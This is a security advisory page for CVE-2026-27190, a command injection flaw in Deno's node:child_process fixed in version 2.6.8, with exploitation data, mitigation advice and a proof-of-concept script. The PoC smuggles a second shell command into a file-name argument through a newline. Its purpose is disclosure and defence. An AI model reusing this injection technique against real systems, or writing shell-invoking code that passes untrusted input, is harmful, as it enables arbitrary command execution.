# CVE-2026-27190: deno Command Injection — Fixed in 2.6.8

🦀

🦀 crates.io

Not in CISA KEV

HIGH severity

# CVE-2026-27190 — deno

HIGH [Fix: denoland/deno@9132ad9](https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c)

CVE-2026-27190 is a high-severity (CVSS 8.1) OS Command Injection vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child\_process

Also known as[GHSA-hmh4-3xvx-q5hr](/vulnerability/GHSA-hmh4-3xvx-q5hr)

Published

Feb 20, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27190.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

2.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs84th percentile — riskier than 84% of all scored CVEsHighest risk

0.23%1.43%2.64%3.85%0.9%2.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🦀`deno`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

## Description

### Summary

A command injection vulnerability exists in Deno's `node:child_process` implementation.

### Reproduction

```
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
```

Run: `deno run --allow-all poc.mjs`

The file `/tmp/rce_proof` is created, confirming arbitrary command execution.

### Mitigation

All users need to update to the patched version (Deno v2.6.8).

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🦀crates.io

`deno` 

all versions

2.6.8`cargo update -p deno --precise 2.6.8`

## Affected Products

1 product · 1 configurations

Application

`deno`deno

< 2.6.8

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update deno to 2.6.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27190 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
    

## Frequently Asked Questions

\## Summary A command injection vulnerability exists in Deno's \`node:child\_process\` implementation. ## Reproduction \`\`\`javascript import { spawnSync } from "node:child\_process"; import \* as fs from "node:fs"; // Cleanup try { fs.unlinkSync('/tmp/rce\_proof'); } catch {} // Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");'); // Malicious input with newline injection const maliciousInput = \`/tmp/legitimate.ts\\ntouch /tmp/rce\_proof\`; // Vulnerable pattern spawnSync(Deno.execPath(), \['run', '--allow-all', maliciousInput\], { shell: true, encoding: 'utf

O3 Security · Impact-Aware SCA

### Is CVE-2026-27190 in your dependencies?

Find it across crates.io, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)